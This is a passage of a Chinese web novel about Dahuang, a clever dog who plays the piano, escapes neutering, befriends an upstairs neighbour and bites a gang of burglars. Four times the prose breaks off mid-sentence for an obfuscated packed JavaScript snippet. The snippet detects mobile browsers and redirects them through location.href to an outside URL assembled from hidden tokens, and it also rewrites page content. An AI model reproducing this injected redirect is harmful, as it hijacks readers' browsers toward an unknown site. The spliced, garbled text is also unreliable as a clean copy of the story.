“被辣到了吧，”蒲佳逸够了解他家的嘴馋狗，说他啥都喜欢尝一尝：“上次吃跳跳糖他也这样。” “狗还能吃跳跳糖？”郝杰好奇地问。 “别的狗不吃，但我家黄色超人不一样，”但到底个怎样的不一样法，蒲佳逸也不懂。 小朋友的兴趣一阵一阵的，大黄不怎么搭理他们，他们很快就玩其他去了。这阵子流行溜溜球，三个男孩玩了一阵结果玩得吵架，大黄莫名奇妙地看他们吵了一通又一起看电视去了。 大黄：“？？？”人的节目他果真还是看不懂。 电视里在放《秦时明月百步飞剑》，那个高渐离一出来，三个小男孩兴奋得哇哇哇还比划招式，惹得大黄从沙发后头探出个狗头跟着看。 他还看不懂人的故事，但他看得懂人的招式，那高渐离弹着琴可帅可帅，帅到大黄都想学了——他想起动物世界结束后的广告，大黄觉得自个儿应该响应号召，当一条有素质有文化的狗。 怎样成为一条文化狗？ 比如学会弹琴。 这几年学钢琴的人很多，蒲妈给蒲佳逸也找了老师，每周周日上两小时钢琴课，为了小孩的教育，蒲妈还买了一台一万多的雅马哈钢琴。 钢琴就放在客厅大黄的狗窝旁，他天天晚上听蒲佳逸弹，听得耳朵都起茧。不过从今天起不一样了，大黄蹲坐在钢琴凳旁，看蒲佳逸的手是如何弹的，等到第二天蒲家人上学上班去，大黄跳上了钢琴凳开启了他文化狗的生涯——但显然，狗爪子太厚实，拍起钢琴来“铛铛”地，他弹了三天，吓得楼上住户以为蒲家闹鬼。 蒲家楼上住着个姓胡的小伙儿，叫胡强超，是个宅男，每天除了买菜都不出门，据说开什么网店反正也没人懂，总之是个神出鬼没的家伙。大黄来蒲家一个多月每天傍晚被蒲妈带着去小区里溜他愣是没见过胡强超，这回可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831078|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到了。 挂着黑眼圈有着小肚腩的青年小胖在这天傍晚敲响了蒲家的门，非常不安地告诉蒲妈他们家似乎在闹鬼。 “这三天我每天下午都听到你们家传出钢琴声，”胡强超在这些日子里将他过往所看过的所有恐怖片都回忆了一遍，吓得自个儿声音都哆嗦了：“连大姐你们家白天是不是有人在啊？” 人没在，狗倒在，不过蒲妈没想到是大黄，她只是一脸疑惑地回了句“白天家里没人啊”，眼见得胡强超脸色更白了，爬楼的背影都仿佛飘出了魂，蒲妈担忧地问了一声“小胡你没事吧？” 小胡虚弱地摆了摆手。 蒲妈当是楼上小胡听错了一直没怎么在意，如此过了有一周，实在受够了每天下午的钢琴声，小胡打了110。 “警察同志，真的有钢琴声！”小胡蹲在蒲家门口，看着警察同志眼里都仿佛冒星星，整整一周啊，知道他这一周是怎么过来的吗？ “这家没人吗？”警察同志来得很快，自然也听到了蒲家传出的钢琴声，还别说，居然有模有样。 “我问过了，没人！”小胡说话都在哆嗦：“刚开始几天是乱弹，这两天都弹出调来了！” “这世上又没鬼，年轻人要相信科学，”和小胡差不多大的小警察笑呵呵地敲了敲门：“应该是有人在嘛！” 敲了半天没人应，就在他们打算联系社区找房主时，门开了，隔着条门缝一双狗眼炯炯有神地盯着他们。 警察&小胡：“……”还真没人只有狗啊！所以……是狗弹的？ 蒲妈还是被叫了回来，被警察叫回来她还一脸莫名奇妙呢，听说她家下午每天都什么东西在弹琴——小胡录音为证，蒲妈愣了愣，眼睛扫到了大黄身上，嘴里说着“不可能”。 这会儿的大黄以为蒲妈要夸他呢，就像蒲妈每次都要蒲佳逸表演，他高兴地“嚎”了两声，还跳到钢琴凳上给蒲妈表演，然后在警察和小胡的震惊中挨了蒲妈一记打。 “你这是真要成精啊！”蒲妈都给气笑了，被警察叫回来她还以为家里入贼了呢，结果是这只贼精的狗吓坏了楼上邻居。 “诶诶诶，大姐别气别气，就是只狗，”两位警察这回是真笑出了声，拦了拦蒲妈还开玩笑说可以送她家狗去上幼儿园。 蒲妈：“……”说来你们不信，说不定我家狗是真能上幼儿园！ 警察做了个记录又回去了，回去前告诉蒲妈得教教她家狗别乱开门，这年头还有小偷闯空门，这次是他们警察还好，如果下次外边的是不怀好意的人呢？ 蒲妈听着，在警察同志们走后一巴掌又给大黄的狗头来了一记。知道自己闯祸了，这会儿大黄乖巧得很，尾巴都藏屁股底下了。 “连大姐，原来这些天是你家狗啊！”知晓不是鬼小胡这会儿精神了，他对大黄还挺有兴趣，问下次他能不能找大黄一起玩。 蒲妈心累地摆摆手同意了。 5. 嘎蛋 时间一晃过了4月，大黄开始换毛，6个月的小狗又大了一圈，现在大黄上厕所都不需要搭凳子了——自从之前大黄来了次马桶跳水之后，蒲妈非常贴心地在马桶旁给他摆了把小凳子，这之后大黄上厕所方便多了。 大黄又大了一圈，毛也变白了些，原先还有些黄棕色，如今变成了浅黄，和他家狗妈越发像了，不过他狗妈是黄狗白面，大黄全身就没一丝白，倒是他狗生小姐妹有只黄狗白面，现在在水果店老板娘那儿吃香喝辣——俗话说黄狗白面金不换，农村里也有些迷信说法说养黄狗白面来财，水果店老板娘开门做生意就信这个，挑的也是大黄那只黄狗白面的狗生姐妹。 送狗那天大黄还一起去了，就看水果店老板娘对他狗生姐妹喜欢得紧，撸了一圈抱着不放，她已经安排上了要给小狗买狗窝买狗盆打疫苗再绝育……也是老板娘提醒了蒲爸，他还没给大黄绝育。 元宵节过后蒲爸就回上海去了，回去之前和蒲妈提了一嘴，等蒲妈上了一阵子班习惯了习惯后，4月的一个休息日，蒲妈带着大黄上了宠物医院。 大黄还不知道他即将面对嘎蛋的命运，他最近家里呆多了特喜欢往外跑，但小狗胆子还不大，不敢一条狗跑，蒲妈带他出去他高兴得咧，走路都屁颠屁颠。 蒲妈骑着电瓶车，大黄蹲电瓶车前边的踏板上，4月暖风吹得他舒舒服服，等下了车跟着蒲妈进宠物医院，他走路还一蹦一蹦，直到宠物医生一句“绝育”听得大黄一个激灵。 宠物医院大黄不是第一次来，上次蒲爸带他来打过疫苗，大黄熟门熟路地蹲护士小姐姐面前，以为要打针，他伸出了前爪。可惜这次不是打针，宠物医生将他抱台上，刚提了句“6个月啦？可以绝育了！”大黄爪子一缩，忙不迭地跑。 他从人的电视剧里看到过，绝育就是变太监，太监不是好人肯定也不是好狗，大黄想当好狗，不想当太监。 他速度从没那么快过，一条黄影如同闪电直接从宠物医生胳膊底下蹿了出来，蹦到地上大黄飞速往外跑。 他还记得往门外跑，撞飞椅子两把架子一个，逃过护士小姐姐一次，大黄直闯门外。 “卧槽！跑了跑了！快拦住！”宠物医生给吓了一跳，跟着大黄身后追，直追了半条街愣是没追上，宠物医生喘着气蹲地上了。 “哎呦！小江兽医，你没事吧？”小江兽医身后跟着蒲妈和一个护士，看小江兽医追她家大黄追得气喘吁吁，蒲妈可过意不去了。 “这活干不了！”他冲蒲妈摆摆手。2分钟，半条街，整整五百多米，小江兽医自诩自个儿也是运动型男，但碰上这种贼精还会跑的狗子，他也架不住了。 早在上次“狗弹钢琴”那会儿蒲妈就见识过了她家大黄的精，这会儿也挺无奈，朝前边警惕着的大黄招招手喊他回来：“大黄！回来回来！不给你绝育！快点回来！” 大黄歪了歪头，嚎一声。 “没骗你！回来！”蒲妈又喊了一声。 大黄这才颠颠地跑回来，路过蹲着的小江兽医旁边，他还朝小江兽医撅了下屁股。 小江兽医：“？？？”这狗有病吧？ “这狗也太精了！”当街追狗这出引了不少人看，宠物诊所隔壁是家五金店，老板倚在门口看乐子看得起劲，还夸大黄聪明，大黄咧着嘴冲他叫了两声，听老板问这狗叫声咋不对劲，气得大黄又喵了两声。 五金店老板：“？？？”不是，我好像听到狗喵了？ 他们又重新回了宠物诊所，来都来了，既然不动手术，蒲妈就说给大黄洗一下修个毛，最近大黄掉毛掉得有点厉害，正好来这边整整。 “小狗换毛嘛，正常的，再几个月就成年了，”小江兽医把大黄捞到了池子里，只要不嘎蛋，大黄还挺配合，小江兽医这会儿摸他啥事儿都没有。 “你家大黄也太聪明了些，”小江兽医给大黄冲了个澡，夸他。 “聪明得有点精了，”蒲妈笑，还说大黄叫得一直不正常：“别家狗都汪汪汪的，它就只会嗷，这不会有事吧？”想到大黄刚才还“喵”了一声，蒲妈越发担心了：“傍晚带他散步，大黄和其他狗好像也说不拢。” 不就是不会说狗话么，但我懂人话，大黄心道，在小江兽医熟练的手法下舒服地抬起下巴眯起了眼睛。 “这也没啥，可能大黄性格孤僻，”小江兽医给大黄全身上下抹上了泡沫：“每条狗都有性格，我看你家大黄性格还挺好的。” “平常是挺好，但闹出来的事也不一般，上个月它自个儿偷偷在家弹琴，楼上还以为闹鬼，警察都来了。” “弹琴？”小江兽医以为自个儿听错了：“什么琴？” “就家里的钢琴，弹得还挺像样，”蒲妈开始笑，说起来还挺骄傲：“我家大黄比其他狗聪明。” “是挺聪明，聪明成精了！”一想到自己之前那段当街追狗，小江兽医也笑了。 在宠物医院里吹了发型大黄高高兴兴地回了家。这天蒲佳逸和蒲梓涵的外婆外公在家里帮着带小孩，看蒲妈领着狗回来，外公还问候了一声：“这狗已经绝育了？速度这么快？” 你才绝育了呢！大黄哼哼两声，还特地跑外公面前转了圈。 “没嘎呀！”一看大黄这模样，外公就知道大黄没做手术，他伸手摸了摸大黄狗头，又拍拍大黄的背。 “一听要绝育，它跑得飞快，小江兽医追了它半条街都没追上，”之前不好意思笑，这会儿蒲妈笑得可开心了：“就说这狗聪明成精了，我们说什么它都听得懂！” “狗聪明好呀！”外婆正在喂蒲梓涵吃苹果，苹果切好中间有块芯，外婆把芯喂给了大黄，大黄学着人的样把芯子周边啃了，留下中间吐到了垃圾桶里。 “哎呦，连丢垃圾都知道！”外婆看稀奇，也摸了大黄两把。 外婆外公过来是帮忙带孩子的，五一节蒲佳逸和蒲梓涵都不上课，蒲妈却要上班，只得求助家里父母帮忙带几天孩子。 “你们厂怎么连五一都不放假？”外婆念念叨叨，对于蒲妈叫她来带孩子挺有意见。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831079|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “也不是不放，就五一放了一天，”蒲妈解释一句，还跟外婆说家里盛菜的时候得给大黄也留一份。 “小厂就是不正规！”外婆碎碎念念，一听大黄吃得和人一样，她觉得有点浪费：“狗吃剩菜好了么！” “我们家大黄不吃，这狗特懂，给它点剩饭它还嫌弃，一定要跟家里人一样，”蒲妈刚洗了一盆草莓出来，给大黄分了几颗。大黄吭哧吭哧低头吃干净了，还记得把草莓叶子吐出来。 “不是有狗粮吗？狗吃人的饭不好！”外公早就看到了客厅冰箱旁边的大袋狗粮，他一通理论觉得蒲妈养狗忒乱来。 “有饭吃它就不吃狗粮，”蒲妈也很无奈，一开始是想给大黄吃狗粮，谁料这狗精得上了桌，扒拉了一盘红烧排骨，气得蒲妈蒲爸那天来了顿混合双打，然而他俩打狗还不如狗跑得快，结果那天，饭没吃多少，人倒是被狗气饱。而一盘排骨被大黄给祸祸了，谁也吃不了，最后全进了大黄的狗肚子。 等到第二天，大黄还想故技重施地上桌，这一次被蒲爸给抓了个正着，蒲爸蒲妈和这成精的狗子一商量，最后觉得比起每天防着狗上桌，还不如给它一顿饭，吃得和人一样，它也不闹了。 大黄有自个儿的专用位，就在钢琴旁边，蒲妈给他铺了一个小垫子，上边是吃饭的盆和他那毛绒小玩具，垫子旁边则是蒲妈给他准备的狗窝——一个粉色方形的小窝还带靠背，大黄可喜欢了。 “这养狗养得跟祖宗一样！”听蒲妈介绍大黄，外婆“啧啧”两声，一边夸大黄聪明一边抱怨养狗事多，吃饭吃零食还得给狗留一份。 “你不懂！聪明的狗旺家！”听老婆碎碎念，外公摸了两把大黄摇了摇头：“女人家就是头发长见识短，这狗多难得，是条好狗……” 外公话没说完，挨了外婆一肘。 “敢情每天做饭收拾的不是你？风凉话谁不会说？五一节这几天你来做饭，别忘了给大黄留一份！”外婆一扭头招呼大黄去小区里溜达：“大黄，我们走，我们去小区里逛逛！” 大黄看看外婆又回头看看外公，摇了摇尾巴，蹭到了外婆的脚边，出门前他听到外公在弱弱地抗议：“菜谁不会烧啊！烧得不好吃嫌弃的也是你们！” “那这几天你烧饭！”外婆领着大黄扭头就走。 大黄如今对小区里挺熟了，蒲妈天天带他来溜。下午时分，有不少在家闲着没事干的小区居民会到小区凉亭里闲聊，东一群，西一群，这里一群老头子在下象棋，那里一群老太太在打双扣，另一边还有一群老太太老头子坐在自家带来的小板凳上唠嗑聊天。 外婆对小区里的人不算熟悉，但大黄熟悉呀，走过路过都有人招呼，招呼着招呼着聊起来，总归是家长里短那些八卦，外婆聊得可开心了。 大黄也很开心，外婆在聊天的时候他蹭了些吃的。老太太老头子们最喜欢投喂，看大黄喜欢吃，一个喂两个喂，等回家的时候大黄肚子已经半饱，不过等回家看到糖醋排骨，他嗷呜一声欢快地蹲到了自个儿的饭盆前。 6. 公园 老人家带娃，难免宠一点。这个五一假期两位小朋友过得可快乐了，买了玩具吃了肯德基还去了儿童公园玩。 知雁市有个开了十多年的儿童公园，这天蒲佳逸闹着要玩赛车，外公外婆就带着他和蒲梓涵去儿童公园玩了——本来是不带大黄的，架不住这狗精，和蒲佳逸一凑头，偷偷藏包里了。 去之前蒲佳逸非要背着他爸的那只大旅行包包，外婆说了两句没说动，宠着孩子她也就随他去了。万万没想到，等他们到了儿童公园，旅行包里突然冒出来一只狗头。 外公外婆：“？？？” 盯着大黄默默，外公哭笑不得地薅了把狗头。 结果还是带狗玩了，蒲佳逸玩赛车，大黄坐副座，外公外婆带两小孩玩转转杯，四个人中间还夹着一条狗，海盗船大黄没得上，但摩天轮他也有个位置，一天下来大家都很高兴，外公还叫了公园里的摄影师给两位小朋友和大黄拍了好些照片。 现在都是数码相机，打印出来很快，外公多付了点钱，摄影师当场就给了打印好了照片。 蒲佳逸最喜欢他在大飞机上的那一张，大黄也是。 儿童公园门口有一架大飞机，是淘汰下来的战斗机，大家可以爬上去拍照，蒲佳逸拍了，蒲梓涵拍了，大黄也拍了，他也学着蒲佳逸的模样坐上了驾驶座，咧着嘴拍了一张好照片——公园里的摄影师拍他的时候兴致可高了，“好狗”“好狗”叫个不停，拍完还炫耀地把相机上的图片给外公看，说他这张照片拍得好极了。 灰色大飞机上一只龇着牙笑的大黄狗，看着还真“好极了”！外公欲言又止，看蒲佳逸拉着大黄在那儿傻乐，他到底没说什么，付钱把照片全打印了。 不知道为什么，假期的日子总是过得飞快，五一节一过，蒲佳逸和蒲梓涵又要上学去了，五一节最后一天蒲佳逸疯狂补作业，大黄没得玩伴只好陪着蒲梓涵玩老师上课小游戏。 蒲梓涵最近热衷于扮演游戏，昨天是当医生，今天是当老师，她扮演老师，大黄扮演学生。外婆帮忙安好了识字板，还给蒲梓涵找了根筷子当教棒。 “小朋友们大家好，今天我们来学习车车，大黄跟着我一起念，汽车——火车——卡车——喇叭车——”蒲梓涵学着老师的模样教狗，还非要大黄跟着念。 大黄：“？？？”我是狗，但你比我还狗！他歪了歪头，汪了一声。 “大黄太笨笨了，要跟我一起念……”小朋友过家家自顾自地玩得可快乐了，还安排了惩罚说大黄不跟着读就要抄十遍……大黄不满地又汪了两下。 等蒲佳逸做作业做烦了出来就见他妹教一个词大黄“汪”一声 ，他看了个新奇，还问大黄怎么突然会说狗话了。 什么叫说狗话？你们兄妹一个不说人话一个不干人事，大黄不满地咕噜了两声。 假期的日子总是过得飞快，等五一假期一结束，上学的上学，回老家的回老家，大黄又开始了一只□□家的生活。最近大黄对小区里已经很熟悉了，他如今的活动范围也大了些，每次等蒲妈一出门，大黄也一溜地跑了出去，在小区里东逛逛西逛逛，和几个老头老婆婆都熟悉了，他还给自个儿找了张饭票——每到中午大黄就跑楼上小胡那儿蹭饭去了。 还别说，小胡烧饭可真好吃。 五月的某一天中午回家大黄嗅得楼道飘香，家里的狗粮瞬间就没了吸引力，他顺着炒菜香爬楼梯，爬到小胡家门口礼貌地敲了敲门，怕吓到小胡他还“嗷”了一声，然后登堂入室地成了小胡的午饭搭子。 小胡开淘宝店卖袜子，家里堆着不少货，大黄进门就是一堆包好的快递摊在客厅中央。小胡的房子和大黄家里一样，也是二室一厅的构造，只不过小胡一个人住，一个房间做卧室，另一个房间变成了他的工作室，窗旁一张书桌一台电脑，其他地方堆满了一箱箱的袜子，靠阳台的角落里还垒着好几堆硬纸板。 在小胡一脸的疑惑尴尬又不知所措中大黄好奇地转了一圈，然后凑到了厨房，他闻到了红烧肉的味道，看来小胡做饭手艺不错。 来吃饭自然得带碗。小胡一脸懵地看着楼下狗转了一圈又出去了，没一会儿他听见了敲门声，再开门就见楼下狗叼了只饭盆过来了，进门前还礼貌地晃了晃爪子，接着走到了他家厨房门口放下狗盆用他那狗爪子点了点自个儿的空饭盆。 胡强超：“？？？”是要吃饭？ “嗷！”眼看着小胡愣在那儿，大黄不满地“嗷”一声，嫌弃小胡没点儿眼力见，他爪子拍拍自个儿可爱的小饭盆，又指指灶台，这回小胡看懂了，给大黄拣了两块红烧肉。 有肉怎么能没饭？大黄又“嗷”了一声，爪子点点电饭煲，小胡自觉地给他把饭盛上了。 大黄满意地点头，爪子拍拍小胡的腿，“汪”了一声。 胡强超：“……”这狗咋这么自来熟啊？！ 咋能叫自来熟呢？这叫楼上楼下大家做邻居互帮互助！大黄自有一套做法，既然中午蹭了饭，他当然也要给小胡帮帮忙。 小胡做淘宝每天都要寄一堆快递，这些日子大黄每天都会帮他搬。 一开始的时候看大黄咬住了纸板箱还以为这狗要拆家吓得小胡跳起来连连赶他，不过大黄很有劲，咬着装了一堆快件的纸箱就往门外拖，拖得那叫一个利索，除了纸板箱受不住他那口狗牙光荣负伤，大黄干得还挺快乐。干完大黄“汪”了一声绕着小胡转。 “你是想帮忙？”胡强超惊讶了一回摸摸狗头道了声谢，回头看门口那被狗牙撕出一道豁口的纸板箱，认命地把纸板箱又拖回来，把里边的快递换到另一个完好的箱子里然后艰难地搬下楼。 一番操作看得大黄懵，他“汪汪”了两声，想再次帮忙，这回小胡说什么都不肯让他咬了——这种纸箱子5毛钱一只，成本高！ 没关系，虽然拖不了，但他能背。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831080|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小胡的淘宝店最近生意很不错，好的时候有两个箱子的快递要送，小胡住五楼，等把两个箱子的快递送下楼他也累得不轻，有天看大黄在前边走他心血来潮地问大黄能不能背一把，大黄非常慷慨地帮了忙。 长大了些他力气又大了些，背着个盛满快递的大箱子也不觉得重，就是他那狗背不适合放箱子，就算有小胡扶着也老是要掉，不过后来小胡给他搞了只可以背的大篮子，方便多了。 日子就这么一天天过去，大黄的日常过得特滋润，早上出门小区里遛弯，中午跑小胡家蹭饭，下午睡个午觉看会儿电视，傍晚帮小胡运快递……然而好日子过久了，总会冒出点不太平，比如这天，他家被闯空门了。 作为一只田园看门狗，他家居然被闯空门了？ 一回家，看到那敞开的大门以及被翻乱的房间后，大黄气得嗷嗷叫。 邻里邻居大家都熟，听大黄叫得特别响，楼下黄老嬷有些不耐烦地上了楼，本来想叫大黄安静点，结果一看他家惨状，黄老嬷“哎呦”一声跑楼下叫唤上了：“抓小偷啊！有小偷闯空门了！！” 黄老嬷声如洪钟喊得“荡气回肠”，这一喊把小区里闲着的老头老太太们全吸引来了。一看蒲家这状况，大家七嘴八舌地议论上了，有在肉痛他上个月刚被偷的电瓶车的，有抱怨现在治安不好到处都是小偷人贩子的，还有掰着手指在数这是这个月第几家被偷的…… 大黄被一群人吵得心急，他“汪汪”叫了好几声就没一个打电话报警的，好在楼上的小胡靠谱，在大黄急得跳脚时他已经打了110还给蒲妈打了个电话。 这次来的片儿警依旧是熟人，年纪大些的一位姓刘，年轻些的一位姓王，王警官一看这地方这大黄狗“欸”了一声，一问什么事，听说是家里被小偷闯了空门，王警官又“欸”了一声，然后两位警察大致地看了圈往笔记本上记了些什么。 蒲妈急急忙忙回来的时候两位警察正在讨论这事。这年头被偷的人家太多了，而报警往往是事后，等警察们到的时候小偷们早已逃之夭夭。很多时候偷的东西不算多，立案标准都不到，警察们转一圈也找不出什么有效证据来，被偷这种事多是不了了之。 蒲家这次被偷也差不多这样。刘警官先叫蒲妈看看少了什么，然后说起了这次的闯空门，问蒲妈他们是不是门没关。 “没啊！我出门前都关门的！”蒲妈又急又懵，家里的东西被偷了不少，她化妆桌里的首饰基本上被卷空了，其中几样银首饰比较贵，唯一庆幸的是她的金首饰放在衣柜里没被小偷发现。还有就是床头柜里放着备用的几百块钱全被偷了。 “门关着……是不是你家狗开门了？”小王警官对大黄印象深刻，随口这么一问。 蒲妈忽然意识到了什么转头找大黄，就见这狗耷拉着耳朵卷起了尾巴藏在沙发后边不敢出来。 蒲妈：“！！！”真是你啊？！！ 7. 小偷 大黄此刻很不安。 大刘警官说他家的情况不大一样，门没有被撬的痕迹，然后问蒲妈是不是没关门。在蒲妈反应过来之前，大黄想起来了，因为不会开门，所以他每次出门都没关门，所以这次被偷是他的问题……一想到这儿大黄一个激灵，怕被骂，他夹起尾巴藏沙发后边不敢出来。 一看他这样，蒲妈也不必问了，这狗开门开得熟练，看来这次还真是他没关门，可大黄就是条狗，她能说什么，气过了，蒲妈拍拍大黄狗头，转天找木匠师傅给家里的门开了小门。 “你们家还给小狗开小门？”木匠师傅也是第一次做这活，卷尺在门上比划比划，又看看大黄的大小比划比划，问：“这门要做多大？” “做大一点吧，大黄还是条小狗，以后还会长，”蒲妈想了想道。 “这……小狗？”木匠师傅看了眼大黄，又看了眼蒲妈，惊讶道。 “我们大黄才9个月大，以后还会长！”蒲妈解释了句。 “你家狗挺大的，”木匠师傅说了一句：“门洞太大的不好看，万一有小孩子可能会钻。” “那能弄个防护罩吗？”蒲妈给木匠师傅看了网上找的图：“我看国外他们这种宠物小门都有防护罩，只有动物能走。” “这都骗人的！动物哪有人聪明？要是小孩子想钻，又拦不住，”木匠师傅一意孤行很有一套：“听我的，我给你们再安个锁，能防狗。” “还有这种锁？”蒲妈惊讶。 “怎么没有？”说话间木匠师傅拿锯子已经切上了，没两个小时就帮忙做好了宠物门，还安了个锁，然而蒲妈一看，郁闷了：“这锁锁着我家大黄进不来啊！” “就是防狗啊！”木匠师傅一脸懵。 蒲妈：“？？？”我要宠物锁干嘛？要锁住了我干嘛还在门上开个洞？ 木匠师傅：“！！！”做都做了那能怎么办？ 蒲妈想了想招来了大黄：“大黄，来来来，看看这锁你能开吗？” “狗怎么会开！”还没等大黄过来，木匠师傅先嚷嚷起来了：“要是狗都能开我这锁还有啥用？” 话刚落，就见大黄看着那木锁扣的锁歪了歪头，提爪子一拨，把那木锁抽开了，他腿脚灵活地从刚开的宠物门洞里钻了过去。 木匠师傅：“！！！” “防狗……这锁好像没用啊……”蒲妈幽幽地道。 木匠师傅：“……”这锁都能开，你家的狗咋不学奥数去呢？ 活都做了还能咋办？最后讨价还价了半天木匠师傅收了个150走了，走之前还骂骂咧咧说他今天这活白干，这木匠是邻居帮忙叫的，看邻居面子蒲妈不好翻脸，不过大黄就没这顾忌了，他呲着牙冲着木匠“汪汪”直叫，连活都做错了，嚷嚷啥呀！ “行了行了，大黄回来！”蒲妈有些心累地把大黄扯回来，养条狗比养两个小孩还心累，回想了一圈这两个月碰到的事，蒲妈拍拍大黄狗头给他讲道理，让他这几天安分着点，别再惹出什么事来。 大黄蹲坐在地上“咕噜”两声乖巧地点点头。 刚犯了错，之后几天大黄乖乖在家没敢出去，不过时间一长，他又故态复萌了。主要是家里太无聊，狗粮又不好吃。不过这回大黄出门还记得关门——蒲妈这次没说他他反而心里悬得紧，刚下楼想起家里被闯空门的事他又上楼看了圈，确认这次门锁了这才安心跑出去。 大黄这几天没去蹭老头老太太们的零食，他惦记着小偷的事，这阵子在小区里巡逻，狗鼻子东嗅嗅西嗅嗅妄图嗅出小偷的味道来。不过开放式小区人来人往味道太杂，大黄嗅了后几天嗅得鼻子都不太灵了什么发现都没。 “大黄？这几天怎么没来吃饭？”这几天大黄没来吃饭，小胡还惦记着，这天他下楼去超市买点东西，看见在小区里嗅来嗅去的大黄，招呼了一声。 大黄“嗷”了一声又继续嗅。 “你在嗅什么？抓小偷啊？”小胡路过摸了两把狗头。 大黄又“嗷”一声。 “又没小偷的物件你能嗅出来？”小胡笑笑，拍拍大黄跟他说：“这么嗅没什么用，你下次盯人，小偷偷东西肯定会先踩点，你看哪个陌生人一天到晚在小区里乱转，还专门跑楼道里，肯定有问题。” 大黄“嗷嗷”两声，点点头表示自己懂了。 小胡随意一说，也没怎么多想，跟大黄摆摆手就走了，倒没想到大黄将小胡的话记在心里还贯彻到底。他最近盯了上经常来小区里发传单的那人，那人三天两头来发一发传单，而且每次都是下午两点多没什么人的时候来就很怪…… 大黄最近就跟着发传单的人在小区里乱逛，看那人这几天老跑一幢3楼，大黄多看了两眼，就见一幢3楼三天前放着的传单还在，大黄用他那聪明的狗脑袋想了想，很怀疑这人在踩点…… 他猜对了，这人就是在踩点。在某个周一的午后，发传单的人又来了，这次还开了辆五菱车来，车上下来三个人直奔一幢304。大黄跟着他们上了楼，就见其中黑衣服的人用了根铁丝往钥匙孔里钻钻钻，没一会儿，门开了。 大黄：“！！！” 大黄一个激灵跑下楼想找人，可这会儿还早的，老太太老头子们还没出来乘凉，于是大黄跑自己家楼找小胡了，“汪汪”半天总算将小胡带下楼，等他们到一幢的时候那三人正在装车，一个大彩电就这么被抬着装进了车。 他们做得大模大样，小胡还以为他们在搬家，没怎么多想还当大黄想下楼玩，他往旁边绿化带里捡了根树枝还叫大黄叼回来。 大黄：“……” 大黄“汪汪”叫两声还被小胡教育说别乱叫，气得大黄前爪刨地。眼见得那伙人把冰箱都装上了车，大黄冲着那群人“汪汪”直叫，结果被那黑衣人夸了一声“好狗”，大黄就更气了。 他龇了龇牙，在小胡的一脸惊恐中扑上去就把黑衣人咬了。 于是“好狗”变成了“死狗”，大黄扑倒黑衣人咬着不放，肚子背上挨了好几记踢，一旁还有小胡惊恐地让他快松口，现场混乱成一团。 一有热闹，之前不见人影的老头老太太们不知从哪儿冒出来了，有骂大黄咬人的，也有认识大黄帮忙说话的，老头老太太们全站着看热闹就没一个上来帮忙抓小偷的，气得大黄嗷嗷了两声，扭头又去咬旁边穿白衣服之前踩点的小偷——他之前狠狠地踢了大黄好几脚，大黄记着仇也咬了他好大一口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831081|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “狗发疯了！！有狂犬病啦！！”又一个人被咬，这回大家看热闹的心都没了，人群中不知哪个老太太嗓门响亮地一喊，人“哗”地一下散开，有打110的，有家里拿了拖把要来打狗的，闹得大黄更急了。 小胡比大黄还急，眼看着大黄连咬两人，现场又越闹越乱，他连连抓着大黄不让他再冲过去，小胡自诩是个小胖墩，谁料比力气他居然比不过大黄，眼看着还有个黄衣服的上了驾驶座慌慌张张要开车，大黄龇了龇牙，挣脱开小胡的手一个飞跃从驾驶座车窗里蹿进去张嘴就咬。 “哎呦！狗飞了！！！”人群中看热闹的人更多了，人一多小偷就慌，之前还气势汹汹地跟小胡要赔偿费，这会儿小偷们只想跑路。 可惜人太多了，没跑掉。 小王警官和大刘警官到的时候就见一辆五菱车周围围着一圈人，人群中间是咬人的嫌疑狗，还是熟狗。 看见他们来，大黄这会儿可高兴了，冲着两位警官嗷嗷叫，又绕着两人蹦蹦跳，看起来一点儿都不像发疯的狗。 “这不是大黄吗？”小王警官摸了摸大黄的头：“咋回事？大黄把人咬了？”上次闹鬼那会儿小王警官就问过了，大黄是条打了疫苗的聪明狗，怎么会突然咬人呢？ “大黄今天不知道怎么回事，突然咬人了，”小胡苦着脸说：“我给它家长打电话了，它家长马上过来。” 